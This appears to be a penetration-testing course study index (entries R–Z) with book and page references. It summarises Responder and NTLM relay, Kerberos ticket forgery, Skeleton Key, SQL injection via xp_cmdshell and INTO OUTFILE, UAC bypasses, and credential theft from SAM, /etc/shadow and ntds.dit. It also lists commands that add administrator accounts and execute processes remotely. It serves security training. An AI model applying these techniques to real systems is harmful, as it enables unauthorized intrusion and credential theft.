**Repository and collaboration** *[b1/p112]* Place to keep details of findings as you go.

**Responder defense** *[b5/p37]* Disable NBT-NS and LLMNR. SMB signing will prevent NTLM relay attacks, might break legacy systems. Register WPAD.domain or disable auto detect proxy settings.

**Responder Tool** *[b5/p30]* Written by SpiderLabs. Uses NBT-NS and LLMNR protocols to gather NetNTLMv2 challenge responses

**Responder WPAD abuse** *[b5/p31]* WPAD (Web Proxy Auto-Discovery). MitM attack

**Responsder Attack** *[b5/p28]* NTLMv2 attack. If IP addresses are used Kerberos is not used. :(

**RIPE NCC** *[b1/p134]* Reseaux IP Europeens Network Coordination Centre for Europe, Middle East, and parts of Central Asia

**RIR** *[b1/p134]* Regional Internet Registries

**Risk** *[b1/p9]* Where threat and vulnerability meet. Risk occurs when systems have a vulnerability that a threat can use

**robots.txt** *[b1/p152]* contains information on directories that should be ignored

**Rules of Engagement** *[b1/p66]* Contact info, secured communication, debriefing calls, dates & times, announced vs unannounced, shunning, black or crystal box, viewing data.

# Ss

**SAINT** *[b1/p39]* vuln scan and exploit tool

**SAM database** *[b4/p45]* Stored in LANMAN and NT Hash format. Post Vista only the NT Hash is stored by default

**SAM Database dumps** *[b4/p25]* c:\windows\repair and c:\winnt\repair

**Scan - Netowrk trace** *[b2/p6]* determine network topology and draw a map

**Scan - Network sweep** *[b2/p6]* send a series of probe packets

**Scan - OS Fingerprint** *[b2/p6]* Determine target operating system. Passive or Active

**Scan - Port scan** *[b2/p6]* Find listening TCP & UDP ports

**Scan - Version** *[b2/p6]* Determine version of service and protocols

**Scan - Vuln scan** *[b2/p6]* Determine list of potential vulnerabilities

**Scan methods** *[b2/p10]* Sample of target machines, sample of ports, review firewall rulesets, tweak firewalls for TCP resets and ICMP unreachable, and Hyperfast

**ScanRad** *[b2/p13]* Dan Kaminsky Seperate sending and receiving.

**Scoping** *[b1/p79]* Security concerns, scope creep, what to test, 3rd party permission, cloud testing, cloud hosted, test vs prod, internal/external, access in, level of testing, DoS, and exploits

**SCP part of SSH** *[b4/p6]* TCP Port 22 and encrypted

**Search engine vuln tools** *[b1/p148]* Google dorking site, related, intitle, inurl, filetype, intext.

**SearchDiggity** *[b1/p154]* Has tabs for all of the other search tools. Runs on windows

**Security Audits** *[b1/p17]* Measure things against fixed, predetermined, rigorus set of standards. Checklists are genearlly used for this.

**Security Focus BID** *[b1/p37]* Information about vulns and has some exploits

**SEEBUG** *[b1/p37]* Vulnerability Database sorted by OS and products

**Service Ticket** *[b5/p11]* Has two portions, the client and server.

**Service-side** *[b3/p10]* exposed services, outbound access.

**ServifyThis** *[b3/p126]* wraps commands in code to make the appropriate service calls

**SHA-256** *[b4/p54]* hashed password start with $5$

**SHA-512**  *[b4/p54]* hashed password start with $6$

**Sharphound** *[b5/p44]* Main ingestor for bloodhound. C# tool

**Silver Tickets** *[b5/p17]* Forged Service Tickets with a custom PAC.

**Skeleton Key** *[b5/p73]* Only works for RC4 encryption. Runs on Domain Controllers in memory. Password is mimikatz. Must be performed on a Domain Controller with admin rights and debug privilege needs to be enabled.

**Skeleton Key mitigation** *[b5/p74]* Reboot the DC. Make sure there is no autoruns to recreate the key

**SLDB** *[b1/p153]* Stach & Liu - Google searches in a long list

**SMB**  *[b4/p7]* TCP 135-139 and TCP 445

**SMB Relaying** *[b5/p35]* Attacker where we relay attempted NTLMv2 authentication against our machine to another system in order to obtain access.

**SOCKS Proxy** *[b4/p74]* Socket Secure allows for arbritrary connections to be proxied to remote hosts

**SPN** *[b5/p28]* Service Principal Names - Kerberos' main thing for authentication

**SQL** *[b5/p120]* Structured Query Language

**SQL - Absinthe**  *[b5/p127]* Tool for automating Blind SQL injections

**SQL - Blind attacks** *[b5/p126]* A way of trying SQL injections with only the web pages response as an indicator

**SQL - Microsoft** *[b5/p125]* Two common SQL injections to get command injection are using stored procedures mater..xp\_cmdshell and sp\_makewebtask

**SQL - MySQL** *[b5/p125]* using 1=0 and INTO OUTFILE option to write data to a file on the server and then executing it.

**SQL Elements** *[b5/p122]* Different methods of representing true

**SQL Elements Additional** *[b5/p123]* Semicolons allow for multiple commands to run. UNION merges two commands together.

**SQL Injection** *[b5/p102]* Attacker sends commands to the web server hoping they get passed to the SQL back-end

**SQL Injection flaws** *[b5/p119]* ZAP and Burp can automate this. '"`'"" all work for terminators

**SQL Injection process** *[b5/p118]* -

**SQLMap.org** *[b5/p118]* A tool that helps automate some SQL injection, but doesn't always work. Can do blind SQL injections as well.

**SSH Dynamic port forwarding**  *[b4/p74]* "-D" option. Application must support socks proxy or proxychains. Useful for accessing multiple machines

**SSH Local port forwarding** *[b4/p72]* "-L" option forwards a local port to another local port over SSH

**SSH Reverse Port forwarding** *[b4/p73]* "-R" option for remote port forwarding.A reverse tunnel

**Stored Procedures** *[b5/p125]* Code on the database server that can directly interact with the database or the machine on which it runs.

**strings** *[b1/p124]* unstructured data extraction tool. Printable text ASCII character. -n, -e b, -e l, -a, -u

# Tt

**Target (service) Long-term key** *[b5/p7]* Based on the password of the target service. Used to encrypt service portion of the ST (TGS-REP) and sign the PAC (TGS-REP)

**TCP - Transmission Control Protocol** *[b2/p25]* Connection-oriented

**TCP Control - ACK** *[b2/p27]* Acknowledgement. bits set to 1 ar acknowleding earlier packets

**TCP Control - CWR - Additional** *[b2/p27]* Congestion Window Reduced. network congestion, que has been lowered

**TCP Control - ECE - Additional** *[b2/p27]* Explicit Congestion Notification Echo. Congestion with the connection

**TCP Control - FIN** *[b2/p27]* No more data, finished

**TCP Control - PSH** *[b2/p27]* Flush data through, don't wait

**TCP Control - RST** *[b2/p27]* Reset. Due to an error

**TCP Control - SYN** *[b2/p27]* Synchronize sequence numbers

**TCP Control - URG** *[b2/p27]* Urgent Pointer. Important data handle quickly

**TCP Control bits** *[b2/p26]* Track the state of a given TCP connection

**tcpdump** *[b2/p19]* Lots of options. n, nn, i, v w, x, X, A

**tcpdump - Direction** *[b2/p20]* src dst

**tcpdump - logical terms** *[b2/p20]* AND, OR, NOT

**tcpdump - Protocols** *[b2/p20]* ether, ip, ip6, arp, rarp, tcp, udp

**tcpdump - Types** *[b2/p20]* host, net, port, portrange

**Tenable** *[b1/p39]* Vuln scanner

**TFTP** *[b4/p6]* UDP 69 unauthenticated

**TGT Request from client** *[b5/p6]* Encrypted timestamp using the users hash as the key. Goes to the Authentication Service on the domain controller (AS). Gets a TGT if successful

**Threat** *[b1/p9]* Actor or agent that may want to cause harm

**Ticket Granting Service (TGS)** *[b5/p6]* Its what gives the client a ticket-granting-ticket. Granted by the Authentication Server

**Ticket Granting Ticket includes** *[b5/p10]* Username, start and end time (10hrs), Authorization data (user's privs and access rights from the PAC), and the cleint/TGS.

**Ticket-granting-ticket** *[b5/p5]* A ticket that can be used to request a ticket

**Title** *[bBook/pPage]* Description

**Traditional DES based** *[b4/p55]* Truncated to 8 characters long at most.

**Trustwave App Scanner** *[b1/p39]* Web app vuln discovery

**TTL** *[b2/p23]* Time to Live 8bits. TTL of Windows=128, TTL of Linux=64 usually

**Types of Pen tests** *[b1/p21]* Kinds of ethical hacking and pen tests

# Uu

**UAC Levels** *[b5/p58]* High, Medium (default), Low, and Never Notify

**UDP - User Datagram Protocol** *[b2/p25]* Connectionless

**Unattended Install Files** *[b5/p53]* Unattend.xml contains the base64 encoded password string. VERY BAD

**Unix/Linux password representation** *[b4/p58]* Look for "x","\*","!!". Password may not be set or is in /etc/shadow. Need UID 0 to read /etc/shadow

**Unquoted Paths with Spaces** *[b5/p52]* If there is a space and not quotes an attacker could leverage that to their advantage.

**US-CERT** *[b1/p38]* National Research site

**USC Bypass techniques** *[b5/p59]* sysprep.exe (win7) bypassuac. Empire has UAC techniques for Win10, and UACME

**User Account Control (UAC)** *[b5/p57]* Helps users move toward using standard user rights by default

# Vv

**Veil-Framework** *[b3/p67]* Evasion and Ordnance

**VSS** *[b4/p62]* Volume Shadow Copy Service. VSSOwn.vbs allows you to create a copy of the ntds.dit file to steal all of a domain credentials. Must have access to the DC

**Vulnerability** *[b1/p9]* Is a flaw in the environment that an attacker can use to cause damage

**Vulnerability Assessments** *[b1/p16]* Also known as Security assessments. Focuses on finding vulnerabilitities, which may or may not be used to get in and steal data.

**vulnerability scanners**  *[b2/p100]* Rapid7 Nexpose and metasploit Pro, SAINT, Foundstone, Retina, OpenVAS, NESSUS, and Qualys

# Ww

**WCE - Windows Credential Editor** *[b4/p123]* Pass the hash tool. NT hashes, LANMAN, and Kerberos. Several options

**Web App 3 main properties** *[b5/p87]* Accessed HTTP/HTTPS, involve a web server, and a web browser. Often a backend database.

**Web Proxy - Other Free** *[b5/p94]* Burp, w3af, Fiddler, Mallory, WebScarab

**Website searches** *[b1/p137]* Google dorking, job posting sites.

**White, Black, & Grey** *[b1/p11]* White are ethichal, Black are sinister, and Grey have good intentions, but no permission.

**whois** *[b1/p133]* Domain name query tool

**Why Ethical hacking and pen test** *[b1/p19]* The help an organization better understand and manage its risks by testing security flaws before bad guys find them.

**Windows Account SID** *[b4/p30]* wmic useraccount list brief

**Windows at and schtasks** *[b3/p123]* different uses

**Windows Challenge/Response sniffing** *[b4/p108]* Capturing challenge respnonse via network packat captures. Two main ways to do this.

**Windows cmd.exe /k** *[b3/p126]* Causes one command to start another.

**Windows Command Line KungFu** *[b3/p103]* cmd.exe commands

**Windows dir** *[b3/p107]* Used to search for files in the filesystem. Combine with /b /s Wildcards work.

**Windows Find** *[b3/p105]* find /I "string"

**Windows findstr** *[b3/p105]* Used with regext

**Windows lockout settings** *[b4/p29]* Lockout threshold, lockout duration, lockout observation window. Commands (net accounts or net accounts /domain)

**Windows More** *[b3/p105]* Displays file content one page at a time. more file1

**Windows net /del** *[b3/p109]* Use /del remove accounts created "net localgroup [group] [logon\_name] /del, net user [logon\_name] /del

**Windows net commands** *[b3/p108]* net user, net localgroup, net localgroup administrators, net user [name] [pwd] /add, net localgroup administrators [name] /add

**Windows netsh commands** *[b3/p110]* netsh or used for networking related commands. Control firewall. Netsh /? For help

**Windows Privilege Escalation Flaws** *[b5/p50]* DLL, unquoted paths with spaces, Writable Windows Service Exe, "AlwaysInstallElevated" registry key, Unattended install files, and Group Policy Prefs 2008

**Windows PSEXEC** *[b3/p119]* Metasploit module, NSE script, or from sys internals. If you use MSF's you need to remove the service.

**Windows reg add**  *[b3/p112]* overwrite a registry value with a new value

**Windows reg export** *[b3/p112]* Grab registry settings and write to a file.

**Windows reg import** *[b3/p112]* Import registry key values. Remote registry reguires admin-level SMB

**Windows reg query** *[b3/p112]* Read registry key data

**Windows Remote Command Execution** *[b3/p118]* PsExec, at or schtasks, sc and WMIC

**Windows RID 500** *[b4/p30]* This account can not be locked out by default, except with AD, there is a setting.

**Windows SC - Service Controller** *[b3/p115]* sc commands. Can run sc against remote machines, but need SMB

**Windows SC command remote command** *[b3/p125]* How to create a remote scheduled command

**Windows SC start stop** *[b3/p116]* Controling services with start, stop, or config

**Windows set** *[b3/p106]* Set command show environment variables. Used Set username or set path to see good information about the user and system details.

**Windows Shell commands** *[b3/p44]* net user, net localgroup, net localgroup administrators, net user [name] [pwd] /add, net localgroup administrators [name] /add

**Windows SMB sessions - create** *[b3/p113]* net use works over SMB ports (TCP 135-139, TCP 445)

**Windows SMB sessions - drop** *[b3/p114]* net use \\targetIP /del

**Windows Type** *[b3/p105]* Displays file content like \*NIX Cat (type \* .txt) Type file1 file2

**Windows WMIC** *[b3/p127]* wimic /node:IP process call create [command]

**Windows WMIC additional commands** *[b3/p128]* list processes, kill processes,

**Windows WMIC service**  *[b3/p117]* -

**Wireshark** *[b4/p113]* Packet capture tool and can pull out HTTP, SMB,VoIP and other streams. RTP streams

# Xx

**X** *[b-/p-]*

# Yy

**Y** *[b-/p-]*

# Zz